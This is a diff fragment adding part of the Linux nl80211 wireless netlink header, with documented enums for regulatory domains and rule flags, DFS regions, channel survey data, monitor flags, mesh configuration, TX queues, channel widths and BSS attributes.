+ * @NL80211_REGDOM_SET_BY_USER: User asked the wireless core to set the
+ * regulatory domain.
+ * @NL80211_REGDOM_SET_BY_DRIVER: a wireless drivers has hinted to the
+ * wireless core it thinks its knows the regulatory domain we should be in.
+ * @NL80211_REGDOM_SET_BY_COUNTRY_IE: the wireless core has received an
+ * 802.11 country information element with regulatory information it
+ * thinks we should consider. cfg80211 only processes the country
+ * code from the IE, and relies on the regulatory domain information
+ * structure passed by userspace (CRDA) from our wireless-regdb.
+ * If a channel is enabled but the country code indicates it should
+ * be disabled we disable the channel and re-enable it upon disassociation.
+ */
+enum nl80211_reg_initiator {
+ NL80211_REGDOM_SET_BY_CORE,
+ NL80211_REGDOM_SET_BY_USER,
+ NL80211_REGDOM_SET_BY_DRIVER,
+ NL80211_REGDOM_SET_BY_COUNTRY_IE,
+};
+
+/**
+ * enum nl80211_reg_type - specifies the type of regulatory domain
+ * @NL80211_REGDOM_TYPE_COUNTRY: the regulatory domain set is one that pertains
+ * to a specific country. When this is set you can count on the
+ * ISO / IEC 3166 alpha2 country code being valid.
+ * @NL80211_REGDOM_TYPE_WORLD: the regulatory set domain is the world regulatory
+ * domain.
+ * @NL80211_REGDOM_TYPE_CUSTOM_WORLD: the regulatory domain set is a custom
+ * driver specific world regulatory domain. These do not apply system-wide
+ * and are only applicable to the individual devices which have requested
+ * them to be applied.
+ * @NL80211_REGDOM_TYPE_INTERSECTION: the regulatory domain set is the product
+ * of an intersection between two regulatory domains -- the previously
+ * set regulatory domain on the system and the last accepted regulatory
+ * domain request to be processed.
+ */
+enum nl80211_reg_type {
+ NL80211_REGDOM_TYPE_COUNTRY,
+ NL80211_REGDOM_TYPE_WORLD,
+ NL80211_REGDOM_TYPE_CUSTOM_WORLD,
+ NL80211_REGDOM_TYPE_INTERSECTION,
+};
+
+/**
+ * enum nl80211_reg_rule_attr - regulatory rule attributes
+ * @__NL80211_REG_RULE_ATTR_INVALID: attribute number 0 is reserved
+ * @NL80211_ATTR_REG_RULE_FLAGS: a set of flags which specify additional
+ * considerations for a given frequency range. These are the
+ * &enum nl80211_reg_rule_flags.
+ * @NL80211_ATTR_FREQ_RANGE_START: starting frequencry for the regulatory
+ * rule in KHz. This is not a center of frequency but an actual regulatory
+ * band edge.
+ * @NL80211_ATTR_FREQ_RANGE_END: ending frequency for the regulatory rule
+ * in KHz. This is not a center a frequency but an actual regulatory
+ * band edge.
+ * @NL80211_ATTR_FREQ_RANGE_MAX_BW: maximum allowed bandwidth for this
+ * frequency range, in KHz.
+ * @NL80211_ATTR_POWER_RULE_MAX_ANT_GAIN: the maximum allowed antenna gain
+ * for a given frequency range. The value is in mBi (100 * dBi).
+ * If you don't have one then don't send this.
+ * @NL80211_ATTR_POWER_RULE_MAX_EIRP: the maximum allowed EIRP for
+ * a given frequency range. The value is in mBm (100 * dBm).
+ * @NL80211_ATTR_DFS_CAC_TIME: DFS CAC time in milliseconds.
+ * If not present or 0 default CAC time will be used.
+ * @NL80211_REG_RULE_ATTR_MAX: highest regulatory rule attribute number
+ * currently defined
+ * @__NL80211_REG_RULE_ATTR_AFTER_LAST: internal use
+ */
+enum nl80211_reg_rule_attr {
+ __NL80211_REG_RULE_ATTR_INVALID,
+ NL80211_ATTR_REG_RULE_FLAGS,
+
+ NL80211_ATTR_FREQ_RANGE_START,
+ NL80211_ATTR_FREQ_RANGE_END,
+ NL80211_ATTR_FREQ_RANGE_MAX_BW,
+
+ NL80211_ATTR_POWER_RULE_MAX_ANT_GAIN,
+ NL80211_ATTR_POWER_RULE_MAX_EIRP,
+
+ NL80211_ATTR_DFS_CAC_TIME,
+
+ /* keep last */
+ __NL80211_REG_RULE_ATTR_AFTER_LAST,
+ NL80211_REG_RULE_ATTR_MAX = __NL80211_REG_RULE_ATTR_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_sched_scan_match_attr - scheduled scan match attributes
+ * @__NL80211_SCHED_SCAN_MATCH_ATTR_INVALID: attribute number 0 is reserved
+ * @NL80211_SCHED_SCAN_MATCH_ATTR_SSID: SSID to be used for matching,
+ * only report BSS with matching SSID.
+ * @NL80211_SCHED_SCAN_MATCH_ATTR_RSSI: RSSI threshold (in dBm) for reporting a
+ * BSS in scan results. Filtering is turned off if not specified. Note that
+ * if this attribute is in a match set of its own, then it is treated as
+ * the default value for all matchsets with an SSID, rather than being a
+ * matchset of its own without an RSSI filter. This is due to problems with
+ * how this API was implemented in the past. Also, due to the same problem,
+ * the only way to create a matchset with only an RSSI filter (with this
+ * attribute) is if there's only a single matchset with the RSSI attribute.
+ * @NL80211_SCHED_SCAN_MATCH_ATTR_MAX: highest scheduled scan filter
+ * attribute number currently defined
+ * @__NL80211_SCHED_SCAN_MATCH_ATTR_AFTER_LAST: internal use
+ */
+enum nl80211_sched_scan_match_attr {
+ __NL80211_SCHED_SCAN_MATCH_ATTR_INVALID,
+
+ NL80211_SCHED_SCAN_MATCH_ATTR_SSID,
+ NL80211_SCHED_SCAN_MATCH_ATTR_RSSI,
+
+ /* keep last */
+ __NL80211_SCHED_SCAN_MATCH_ATTR_AFTER_LAST,
+ NL80211_SCHED_SCAN_MATCH_ATTR_MAX =
+ __NL80211_SCHED_SCAN_MATCH_ATTR_AFTER_LAST - 1
+};
+
+/* only for backward compatibility */
+#define NL80211_ATTR_SCHED_SCAN_MATCH_SSID NL80211_SCHED_SCAN_MATCH_ATTR_SSID
+
+/**
+ * enum nl80211_reg_rule_flags - regulatory rule flags
+ *
+ * @NL80211_RRF_NO_OFDM: OFDM modulation not allowed
+ * @NL80211_RRF_NO_CCK: CCK modulation not allowed
+ * @NL80211_RRF_NO_INDOOR: indoor operation not allowed
+ * @NL80211_RRF_NO_OUTDOOR: outdoor operation not allowed
+ * @NL80211_RRF_DFS: DFS support is required to be used
+ * @NL80211_RRF_PTP_ONLY: this is only for Point To Point links
+ * @NL80211_RRF_PTMP_ONLY: this is only for Point To Multi Point links
+ * @NL80211_RRF_NO_IR: no mechanisms that initiate radiation are allowed,
+ * this includes probe requests or modes of operation that require
+ * beaconing.
+ * @NL80211_RRF_AUTO_BW: maximum available bandwidth should be calculated
+ * base on contiguous rules and wider channels will be allowed to cross
+ * multiple contiguous/overlapping frequency ranges.
+ */
+enum nl80211_reg_rule_flags {
+ NL80211_RRF_NO_OFDM = 1 << 0,
+ NL80211_RRF_NO_CCK = 1 << 1,
+ NL80211_RRF_NO_INDOOR = 1 << 2,
+ NL80211_RRF_NO_OUTDOOR = 1 << 3,
+ NL80211_RRF_DFS = 1 << 4,
+ NL80211_RRF_PTP_ONLY = 1 << 5,
+ NL80211_RRF_PTMP_ONLY = 1 << 6,
+ NL80211_RRF_NO_IR = 1 << 7,
+ __NL80211_RRF_NO_IBSS = 1 << 8,
+ NL80211_RRF_AUTO_BW = 1 << 11,
+};
+
+#define NL80211_RRF_PASSIVE_SCAN NL80211_RRF_NO_IR
+#define NL80211_RRF_NO_IBSS NL80211_RRF_NO_IR
+#define NL80211_RRF_NO_IR NL80211_RRF_NO_IR
+
+/* For backport compatibility with older userspace */
+#define NL80211_RRF_NO_IR_ALL (NL80211_RRF_NO_IR | __NL80211_RRF_NO_IBSS)
+
+/**
+ * enum nl80211_dfs_regions - regulatory DFS regions
+ *
+ * @NL80211_DFS_UNSET: Country has no DFS master region specified
+ * @NL80211_DFS_FCC: Country follows DFS master rules from FCC
+ * @NL80211_DFS_ETSI: Country follows DFS master rules from ETSI
+ * @NL80211_DFS_JP: Country follows DFS master rules from JP/MKK/Telec
+ */
+enum nl80211_dfs_regions {
+ NL80211_DFS_UNSET = 0,
+ NL80211_DFS_FCC = 1,
+ NL80211_DFS_ETSI = 2,
+ NL80211_DFS_JP = 3,
+};
+
+/**
+ * enum nl80211_user_reg_hint_type - type of user regulatory hint
+ *
+ * @NL80211_USER_REG_HINT_USER: a user sent the hint. This is always
+ * assumed if the attribute is not set.
+ * @NL80211_USER_REG_HINT_CELL_BASE: the hint comes from a cellular
+ * base station. Device drivers that have been tested to work
+ * properly to support this type of hint can enable these hints
+ * by setting the NL80211_FEATURE_CELL_BASE_REG_HINTS feature
+ * capability on the struct wiphy. The wireless core will
+ * ignore all cell base station hints until at least one device
+ * present has been registered with the wireless core that
+ * has listed NL80211_FEATURE_CELL_BASE_REG_HINTS as a
+ * supported feature.
+ * @NL80211_USER_REG_HINT_INDOOR: a user sent an hint indicating that the
+ * platform is operating in an indoor environment.
+ */
+enum nl80211_user_reg_hint_type {
+ NL80211_USER_REG_HINT_USER = 0,
+ NL80211_USER_REG_HINT_CELL_BASE = 1,
+ NL80211_USER_REG_HINT_INDOOR = 2,
+};
+
+/**
+ * enum nl80211_survey_info - survey information
+ *
+ * These attribute types are used with %NL80211_ATTR_SURVEY_INFO
+ * when getting information about a survey.
+ *
+ * @__NL80211_SURVEY_INFO_INVALID: attribute number 0 is reserved
+ * @NL80211_SURVEY_INFO_FREQUENCY: center frequency of channel
+ * @NL80211_SURVEY_INFO_NOISE: noise level of channel (u8, dBm)
+ * @NL80211_SURVEY_INFO_IN_USE: channel is currently being used
+ * @NL80211_SURVEY_INFO_CHANNEL_TIME: amount of time (in ms) that the radio
+ * spent on this channel
+ * @NL80211_SURVEY_INFO_CHANNEL_TIME_BUSY: amount of the time the primary
+ * channel was sensed busy (either due to activity or energy detect)
+ * @NL80211_SURVEY_INFO_CHANNEL_TIME_EXT_BUSY: amount of time the extension
+ * channel was sensed busy
+ * @NL80211_SURVEY_INFO_CHANNEL_TIME_RX: amount of time the radio spent
+ * receiving data
+ * @NL80211_SURVEY_INFO_CHANNEL_TIME_TX: amount of time the radio spent
+ * transmitting data
+ * @NL80211_SURVEY_INFO_MAX: highest survey info attribute number
+ * currently defined
+ * @__NL80211_SURVEY_INFO_AFTER_LAST: internal use
+ */
+enum nl80211_survey_info {
+ __NL80211_SURVEY_INFO_INVALID,
+ NL80211_SURVEY_INFO_FREQUENCY,
+ NL80211_SURVEY_INFO_NOISE,
+ NL80211_SURVEY_INFO_IN_USE,
+ NL80211_SURVEY_INFO_CHANNEL_TIME,
+ NL80211_SURVEY_INFO_CHANNEL_TIME_BUSY,
+ NL80211_SURVEY_INFO_CHANNEL_TIME_EXT_BUSY,
+ NL80211_SURVEY_INFO_CHANNEL_TIME_RX,
+ NL80211_SURVEY_INFO_CHANNEL_TIME_TX,
+
+ /* keep last */
+ __NL80211_SURVEY_INFO_AFTER_LAST,
+ NL80211_SURVEY_INFO_MAX = __NL80211_SURVEY_INFO_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_mntr_flags - monitor configuration flags
+ *
+ * Monitor configuration flags.
+ *
+ * @__NL80211_MNTR_FLAG_INVALID: reserved
+ *
+ * @NL80211_MNTR_FLAG_FCSFAIL: pass frames with bad FCS
+ * @NL80211_MNTR_FLAG_PLCPFAIL: pass frames with bad PLCP
+ * @NL80211_MNTR_FLAG_CONTROL: pass control frames
+ * @NL80211_MNTR_FLAG_OTHER_BSS: disable BSSID filtering
+ * @NL80211_MNTR_FLAG_COOK_FRAMES: report frames after processing.
+ * overrides all other flags.
+ * @NL80211_MNTR_FLAG_ACTIVE: use the configured MAC address
+ * and ACK incoming unicast packets.
+ *
+ * @__NL80211_MNTR_FLAG_AFTER_LAST: internal use
+ * @NL80211_MNTR_FLAG_MAX: highest possible monitor flag
+ */
+enum nl80211_mntr_flags {
+ __NL80211_MNTR_FLAG_INVALID,
+ NL80211_MNTR_FLAG_FCSFAIL,
+ NL80211_MNTR_FLAG_PLCPFAIL,
+ NL80211_MNTR_FLAG_CONTROL,
+ NL80211_MNTR_FLAG_OTHER_BSS,
+ NL80211_MNTR_FLAG_COOK_FRAMES,
+ NL80211_MNTR_FLAG_ACTIVE,
+
+ /* keep last */
+ __NL80211_MNTR_FLAG_AFTER_LAST,
+ NL80211_MNTR_FLAG_MAX = __NL80211_MNTR_FLAG_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_mesh_power_mode - mesh power save modes
+ *
+ * @NL80211_MESH_POWER_UNKNOWN: The mesh power mode of the mesh STA is
+ * not known or has not been set yet.
+ * @NL80211_MESH_POWER_ACTIVE: Active mesh power mode. The mesh STA is
+ * in Awake state all the time.
+ * @NL80211_MESH_POWER_LIGHT_SLEEP: Light sleep mode. The mesh STA will
+ * alternate between Active and Doze states, but will wake up for
+ * neighbor's beacons.
+ * @NL80211_MESH_POWER_DEEP_SLEEP: Deep sleep mode. The mesh STA will
+ * alternate between Active and Doze states, but may not wake up
+ * for neighbor's beacons.
+ *
+ * @__NL80211_MESH_POWER_AFTER_LAST - internal use
+ * @NL80211_MESH_POWER_MAX - highest possible power save level
+ */
+
+enum nl80211_mesh_power_mode {
+ NL80211_MESH_POWER_UNKNOWN,
+ NL80211_MESH_POWER_ACTIVE,
+ NL80211_MESH_POWER_LIGHT_SLEEP,
+ NL80211_MESH_POWER_DEEP_SLEEP,
+
+ __NL80211_MESH_POWER_AFTER_LAST,
+ NL80211_MESH_POWER_MAX = __NL80211_MESH_POWER_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_meshconf_params - mesh configuration parameters
+ *
+ * Mesh configuration parameters. These can be changed while the mesh is
+ * active.
+ *
+ * @__NL80211_MESHCONF_INVALID: internal use
+ *
+ * @NL80211_MESHCONF_RETRY_TIMEOUT: specifies the initial retry timeout in
+ * millisecond units, used by the Peer Link Open message
+ *
+ * @NL80211_MESHCONF_CONFIRM_TIMEOUT: specifies the initial confirm timeout, in
+ * millisecond units, used by the peer link management to close a peer link
+ *
+ * @NL80211_MESHCONF_HOLDING_TIMEOUT: specifies the holding timeout, in
+ * millisecond units
+ *
+ * @NL80211_MESHCONF_MAX_PEER_LINKS: maximum number of peer links allowed
+ * on this mesh interface
+ *
+ * @NL80211_MESHCONF_MAX_RETRIES: specifies the maximum number of peer link
+ * open retries that can be sent to establish a new peer link instance in a
+ * mesh
+ *
+ * @NL80211_MESHCONF_TTL: specifies the value of TTL field set at a source mesh
+ * point.
+ *
+ * @NL80211_MESHCONF_AUTO_OPEN_PLINKS: whether we should automatically open
+ * peer links when we detect compatible mesh peers. Disabled if
+ * @NL80211_MESH_SETUP_USERSPACE_MPM or @NL80211_MESH_SETUP_USERSPACE_AMPE
+ *are set.
+ *
+ * @NL80211_MESHCONF_HWMP_MAX_PREQ_RETRIES: the number of action frames
+ * containing a PREQ that an MP can send to a particular destination (path
+ * target)
+ *
+ * @NL80211_MESHCONF_PATH_REFRESH_TIME: how frequently to refresh mesh paths
+ * (in milliseconds)
+ *
+ * @NL80211_MESHCONF_MIN_DISCOVERY_TIMEOUT: minimum length of time to wait
+ * until giving up on a path discovery (in milliseconds)
+ *
+ * @NL80211_MESHCONF_HWMP_ACTIVE_PATH_TIMEOUT: The time (in TUs) for which mesh
+ * points receiving a PREQ shall consider the forwarding information from
+ * the root to be valid. (TU = time unit)
+ *
+ * @NL80211_MESHCONF_HWMP_PREQ_MIN_INTERVAL: The minimum interval of time (in
+ * TUs) during which an MP can send only one action frame containing a PREQ
+ * reference element
+ *
+ * @NL80211_MESHCONF_HWMP_NET_DIAM_TRVS_TIME: The interval of time (in TUs)
+ * that it takes for an HWMP information element to propagate across the
+ * mesh
+ *
+ * @NL80211_MESHCONF_HWMP_ROOTMODE: whether root mode is enabled or not
+ *
+ * @NL80211_MESHCONF_ELEMENT_TTL: specifies the value of TTL field set at a
+ * source mesh point for path selection elements.
+ *
+ * @NL80211_MESHCONF_HWMP_RANN_INTERVAL: The interval of time (in TUs) between
+ * root announcements are transmitted.
+ *
+ * @NL80211_MESHCONF_GATE_ANNOUNCEMENTS: Advertise that this mesh station has
+ * access to a broader network beyond the MBSS. This is done via Root
+ * Announcement frames.
+ *
+ * @NL80211_MESHCONF_HWMP_PERR_MIN_INTERVAL: The minimum interval of time (in
+ * TUs) during which a mesh STA can send only one Action frame containing a
+ * PERR element.
+ *
+ * @NL80211_MESHCONF_FORWARDING: set Mesh STA as forwarding or non-forwarding
+ * or forwarding entity (default is TRUE - forwarding entity)
+ *
+ * @NL80211_MESHCONF_RSSI_THRESHOLD: RSSI threshold in dBm. This specifies the
+ * threshold for average signal strength of candidate station to establish
+ * a peer link.
+ *
+ * @NL80211_MESHCONF_SYNC_OFFSET_MAX_NEIGHBOR: maximum number of neighbors
+ * to synchronize to for 11s default synchronization method
+ * (see 11C.12.2.2)
+ *
+ * @NL80211_MESHCONF_HT_OPMODE: set mesh HT protection mode.
+ *
+ * @NL80211_MESHCONF_ATTR_MAX: highest possible mesh configuration attribute
+ *
+ * @NL80211_MESHCONF_HWMP_PATH_TO_ROOT_TIMEOUT: The time (in TUs) for
+ * which mesh STAs receiving a proactive PREQ shall consider the forwarding
+ * information to the root mesh STA to be valid.
+ *
+ * @NL80211_MESHCONF_HWMP_ROOT_INTERVAL: The interval of time (in TUs) between
+ * proactive PREQs are transmitted.
+ *
+ * @NL80211_MESHCONF_HWMP_CONFIRMATION_INTERVAL: The minimum interval of time
+ * (in TUs) during which a mesh STA can send only one Action frame
+ * containing a PREQ element for root path confirmation.
+ *
+ * @NL80211_MESHCONF_POWER_MODE: Default mesh power mode for new peer links.
+ * type &enum nl80211_mesh_power_mode (u32)
+ *
+ * @NL80211_MESHCONF_AWAKE_WINDOW: awake window duration (in TUs)
+ *
+ * @NL80211_MESHCONF_PLINK_TIMEOUT: If no tx activity is seen from a STA we've
+ * established peering with for longer than this time (in seconds), then
+ * remove it from the STA's list of peers. Default is 30 minutes.
+ *
+ * @__NL80211_MESHCONF_ATTR_AFTER_LAST: internal use
+ */
+enum nl80211_meshconf_params {
+ __NL80211_MESHCONF_INVALID,
+ NL80211_MESHCONF_RETRY_TIMEOUT,
+ NL80211_MESHCONF_CONFIRM_TIMEOUT,
+ NL80211_MESHCONF_HOLDING_TIMEOUT,
+ NL80211_MESHCONF_MAX_PEER_LINKS,
+ NL80211_MESHCONF_MAX_RETRIES,
+ NL80211_MESHCONF_TTL,
+ NL80211_MESHCONF_AUTO_OPEN_PLINKS,
+ NL80211_MESHCONF_HWMP_MAX_PREQ_RETRIES,
+ NL80211_MESHCONF_PATH_REFRESH_TIME,
+ NL80211_MESHCONF_MIN_DISCOVERY_TIMEOUT,
+ NL80211_MESHCONF_HWMP_ACTIVE_PATH_TIMEOUT,
+ NL80211_MESHCONF_HWMP_PREQ_MIN_INTERVAL,
+ NL80211_MESHCONF_HWMP_NET_DIAM_TRVS_TIME,
+ NL80211_MESHCONF_HWMP_ROOTMODE,
+ NL80211_MESHCONF_ELEMENT_TTL,
+ NL80211_MESHCONF_HWMP_RANN_INTERVAL,
+ NL80211_MESHCONF_GATE_ANNOUNCEMENTS,
+ NL80211_MESHCONF_HWMP_PERR_MIN_INTERVAL,
+ NL80211_MESHCONF_FORWARDING,
+ NL80211_MESHCONF_RSSI_THRESHOLD,
+ NL80211_MESHCONF_SYNC_OFFSET_MAX_NEIGHBOR,
+ NL80211_MESHCONF_HT_OPMODE,
+ NL80211_MESHCONF_HWMP_PATH_TO_ROOT_TIMEOUT,
+ NL80211_MESHCONF_HWMP_ROOT_INTERVAL,
+ NL80211_MESHCONF_HWMP_CONFIRMATION_INTERVAL,
+ NL80211_MESHCONF_POWER_MODE,
+ NL80211_MESHCONF_AWAKE_WINDOW,
+ NL80211_MESHCONF_PLINK_TIMEOUT,
+
+ /* keep last */
+ __NL80211_MESHCONF_ATTR_AFTER_LAST,
+ NL80211_MESHCONF_ATTR_MAX = __NL80211_MESHCONF_ATTR_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_mesh_setup_params - mesh setup parameters
+ *
+ * Mesh setup parameters. These are used to start/join a mesh and cannot be
+ * changed while the mesh is active.
+ *
+ * @__NL80211_MESH_SETUP_INVALID: Internal use
+ *
+ * @NL80211_MESH_SETUP_ENABLE_VENDOR_PATH_SEL: Enable this option to use a
+ * vendor specific path selection algorithm or disable it to use the
+ * default HWMP.
+ *
+ * @NL80211_MESH_SETUP_ENABLE_VENDOR_METRIC: Enable this option to use a
+ * vendor specific path metric or disable it to use the default Airtime
+ * metric.
+ *
+ * @NL80211_MESH_SETUP_IE: Information elements for this mesh, for instance, a
+ * robust security network ie, or a vendor specific information element
+ * that vendors will use to identify the path selection methods and
+ * metrics in use.
+ *
+ * @NL80211_MESH_SETUP_USERSPACE_AUTH: Enable this option if an authentication
+ * daemon will be authenticating mesh candidates.
+ *
+ * @NL80211_MESH_SETUP_USERSPACE_AMPE: Enable this option if an authentication
+ * daemon will be securing peer link frames. AMPE is a secured version of
+ * Mesh Peering Management (MPM) and is implemented with the assistance of
+ * a userspace daemon. When this flag is set, the kernel will send peer
+ * management frames to a userspace daemon that will implement AMPE
+ * functionality (security capabilities selection, key confirmation, and
+ * key management). When the flag is unset (default), the kernel can
+ * autonomously complete (unsecured) mesh peering without the need of a
+ * userspace daemon.
+ *
+ * @NL80211_MESH_SETUP_ENABLE_VENDOR_SYNC: Enable this option to use a
+ * vendor specific synchronization method or disable it to use the default
+ * neighbor offset synchronization
+ *
+ * @NL80211_MESH_SETUP_USERSPACE_MPM: Enable this option if userspace will
+ * implement an MPM which handles peer allocation and state.
+ *
+ * @NL80211_MESH_SETUP_AUTH_PROTOCOL: Inform the kernel of the authentication
+ * method (u8, as defined in IEEE 8.4.2.100.6, e.g. 0x1 for SAE).
+ * Default is no authentication method required.
+ *
+ * @NL80211_MESH_SETUP_ATTR_MAX: highest possible mesh setup attribute number
+ *
+ * @__NL80211_MESH_SETUP_ATTR_AFTER_LAST: Internal use
+ */
+enum nl80211_mesh_setup_params {
+ __NL80211_MESH_SETUP_INVALID,
+ NL80211_MESH_SETUP_ENABLE_VENDOR_PATH_SEL,
+ NL80211_MESH_SETUP_ENABLE_VENDOR_METRIC,
+ NL80211_MESH_SETUP_IE,
+ NL80211_MESH_SETUP_USERSPACE_AUTH,
+ NL80211_MESH_SETUP_USERSPACE_AMPE,
+ NL80211_MESH_SETUP_ENABLE_VENDOR_SYNC,
+ NL80211_MESH_SETUP_USERSPACE_MPM,
+ NL80211_MESH_SETUP_AUTH_PROTOCOL,
+
+ /* keep last */
+ __NL80211_MESH_SETUP_ATTR_AFTER_LAST,
+ NL80211_MESH_SETUP_ATTR_MAX = __NL80211_MESH_SETUP_ATTR_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_txq_attr - TX queue parameter attributes
+ * @__NL80211_TXQ_ATTR_INVALID: Attribute number 0 is reserved
+ * @NL80211_TXQ_ATTR_AC: AC identifier (NL80211_AC_*)
+ * @NL80211_TXQ_ATTR_TXOP: Maximum burst time in units of 32 usecs, 0 meaning
+ * disabled
+ * @NL80211_TXQ_ATTR_CWMIN: Minimum contention window [a value of the form
+ * 2^n-1 in the range 1..32767]
+ * @NL80211_TXQ_ATTR_CWMAX: Maximum contention window [a value of the form
+ * 2^n-1 in the range 1..32767]
+ * @NL80211_TXQ_ATTR_AIFS: Arbitration interframe space [0..255]
+ * @__NL80211_TXQ_ATTR_AFTER_LAST: Internal
+ * @NL80211_TXQ_ATTR_MAX: Maximum TXQ attribute number
+ */
+enum nl80211_txq_attr {
+ __NL80211_TXQ_ATTR_INVALID,
+ NL80211_TXQ_ATTR_AC,
+ NL80211_TXQ_ATTR_TXOP,
+ NL80211_TXQ_ATTR_CWMIN,
+ NL80211_TXQ_ATTR_CWMAX,
+ NL80211_TXQ_ATTR_AIFS,
+
+ /* keep last */
+ __NL80211_TXQ_ATTR_AFTER_LAST,
+ NL80211_TXQ_ATTR_MAX = __NL80211_TXQ_ATTR_AFTER_LAST - 1
+};
+
+enum nl80211_ac {
+ NL80211_AC_VO,
+ NL80211_AC_VI,
+ NL80211_AC_BE,
+ NL80211_AC_BK,
+ NL80211_NUM_ACS
+};
+
+/* backward compat */
+#define NL80211_TXQ_ATTR_QUEUE NL80211_TXQ_ATTR_AC
+#define NL80211_TXQ_Q_VO NL80211_AC_VO
+#define NL80211_TXQ_Q_VI NL80211_AC_VI
+#define NL80211_TXQ_Q_BE NL80211_AC_BE
+#define NL80211_TXQ_Q_BK NL80211_AC_BK
+
+/**
+ * enum nl80211_channel_type - channel type
+ * @NL80211_CHAN_NO_HT: 20 MHz, non-HT channel
+ * @NL80211_CHAN_HT20: 20 MHz HT channel
+ * @NL80211_CHAN_HT40MINUS: HT40 channel, secondary channel
+ * below the control channel
+ * @NL80211_CHAN_HT40PLUS: HT40 channel, secondary channel
+ * above the control channel
+ */
+enum nl80211_channel_type {
+ NL80211_CHAN_NO_HT,
+ NL80211_CHAN_HT20,
+ NL80211_CHAN_HT40MINUS,
+ NL80211_CHAN_HT40PLUS
+};
+
+/**
+ * enum nl80211_chan_width - channel width definitions
+ *
+ * These values are used with the %NL80211_ATTR_CHANNEL_WIDTH
+ * attribute.
+ *
+ * @NL80211_CHAN_WIDTH_20_NOHT: 20 MHz, non-HT channel
+ * @NL80211_CHAN_WIDTH_20: 20 MHz HT channel
+ * @NL80211_CHAN_WIDTH_40: 40 MHz channel, the %NL80211_ATTR_CENTER_FREQ1
+ * attribute must be provided as well
+ * @NL80211_CHAN_WIDTH_80: 80 MHz channel, the %NL80211_ATTR_CENTER_FREQ1
+ * attribute must be provided as well
+ * @NL80211_CHAN_WIDTH_80P80: 80+80 MHz channel, the %NL80211_ATTR_CENTER_FREQ1
+ * and %NL80211_ATTR_CENTER_FREQ2 attributes must be provided as well
+ * @NL80211_CHAN_WIDTH_160: 160 MHz channel, the %NL80211_ATTR_CENTER_FREQ1
+ * attribute must be provided as well
+ * @NL80211_CHAN_WIDTH_5: 5 MHz OFDM channel
+ * @NL80211_CHAN_WIDTH_10: 10 MHz OFDM channel
+ */
+enum nl80211_chan_width {
+ NL80211_CHAN_WIDTH_20_NOHT,
+ NL80211_CHAN_WIDTH_20,
+ NL80211_CHAN_WIDTH_40,
+ NL80211_CHAN_WIDTH_80,
+ NL80211_CHAN_WIDTH_80P80,
+ NL80211_CHAN_WIDTH_160,
+ NL80211_CHAN_WIDTH_5,
+ NL80211_CHAN_WIDTH_10,
+};
+
+/**
+ * enum nl80211_bss_scan_width - control channel width for a BSS
+ *
+ * These values are used with the %NL80211_BSS_CHAN_WIDTH attribute.
+ *
+ * @NL80211_BSS_CHAN_WIDTH_20: control channel is 20 MHz wide or compatible
+ * @NL80211_BSS_CHAN_WIDTH_10: control channel is 10 MHz wide
+ * @NL80211_BSS_CHAN_WIDTH_5: control channel is 5 MHz wide
+ */
+enum nl80211_bss_scan_width {
+ NL80211_BSS_CHAN_WIDTH_20,
+ NL80211_BSS_CHAN_WIDTH_10,
+ NL80211_BSS_CHAN_WIDTH_5,
+};
+
+/**
+ * enum nl80211_bss - netlink attributes for a BSS
+ *
+ * @__NL80211_BSS_INVALID: invalid
+ * @NL80211_BSS_BSSID: BSSID of the BSS (6 octets)
+ * @NL80211_BSS_FREQUENCY: frequency in MHz (u32)
+ * @NL80211_BSS_TSF: TSF of the received probe response/beacon (u64)
+ * (if @NL80211_BSS_PRESP_DATA is present then this is known to be
+ * from a probe response, otherwise it may be from the same beacon
+ * that the NL80211_BSS_BEACON_TSF will be from)
+ * @NL80211_BSS_BEACON_INTERVAL: beacon interval of the (I)BSS (u16)
+ * @NL80211_BSS_CAPABILITY: capability field (CPU order, u16)
+ * @NL80211_BSS_INFORMATION_ELEMENTS: binary attribute containing the
+ * raw information elements from the probe response/beacon (bin);
+ * if the %NL80211_BSS_BEACON_IES attribute is present and the data is
+ * different then the IEs here are from a Probe Response frame; otherwise
+ * they are from a Beacon frame.
+ * However, if the driver does not indicate the source of the IEs, these
+ * IEs may be from either frame subtype.
+ * If present, the @NL80211_BSS_PRESP_DATA attribute indicates that the
+ * data here is known to be from a probe response, without any heuristics.
+ * @NL80211_BSS_SIGNAL_MBM: signal strength of probe response/beacon
+ * in mBm (100 * dBm) (s32)
+ * @NL80211_BSS_SIGNAL_UNSPEC: signal strength of the probe response/beacon
+ * in unspecified units, scaled to 0..100 (u8)
+ * @NL80211_BSS_STATUS: status, if this BSS is "used"
+ * @NL80211_BSS_SEEN_MS_AGO: age of this BSS entry in ms
+ * @NL80211_BSS_BEACON_IES: binary attribute containing the raw information
+ * elements from a Beacon frame (bin); not present if no Beacon frame has
+ * yet been received
+ * @NL80211_BSS_CHAN_WIDTH: channel width of the control channel
+ * (u32, enum nl80211_bss_scan_width)
+ * @NL80211_BSS_BEACON_TSF: TSF of the last received beacon (u64)
+ * (not present if no beacon frame has been received yet)
+ * @NL80211_BSS_PRESP_DATA: the data in @NL80211_BSS_INFORMATION_ELEMENTS and
+ * @NL80211_BSS_TSF is known to be from a probe response (flag attribute)
+ * @__NL80211_BSS_AFTER_LAST: internal
+ * @NL80211_BSS_MAX: highest BSS attribute
+ */
+enum nl80211_bss {
+ __NL80211_BSS_INVALID,
+ NL80211_BSS_BSSID,
+ NL80211_BSS_FREQUENCY,
+ NL80211_BSS_TSF,
+ NL80211_BSS_BEACON_INTERVAL,
+ NL80211_BSS_CAPABILITY,
+ NL80211_BSS_INFORMATION_ELEMENTS,
+ NL80211_BSS_SIGNAL_MBM,
+ NL80211_BSS_SIGNAL_UNSPEC,
+ NL80211_BSS_STATUS,
+ NL80211_BSS_SEEN_MS_AGO,
+ NL80211_BSS_BEACON_IES,
+ NL80211_BSS_CHAN_WIDTH,
+ NL80211_BSS_BEACON_TSF,
+ NL80211_BSS_PRESP_DATA,
+
+ /* keep last */
+ __NL80211_BSS_AFTER_LAST,
+ NL80211_BSS_MAX = __NL80211_BSS_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_bss_status - BSS "status"
+ * @NL80211_BSS_STATUS_AUTHENTICATED: Authenticated with this BSS.
+ * @NL80211_BSS_STATUS_ASSOCIATED: Associated with this BSS.
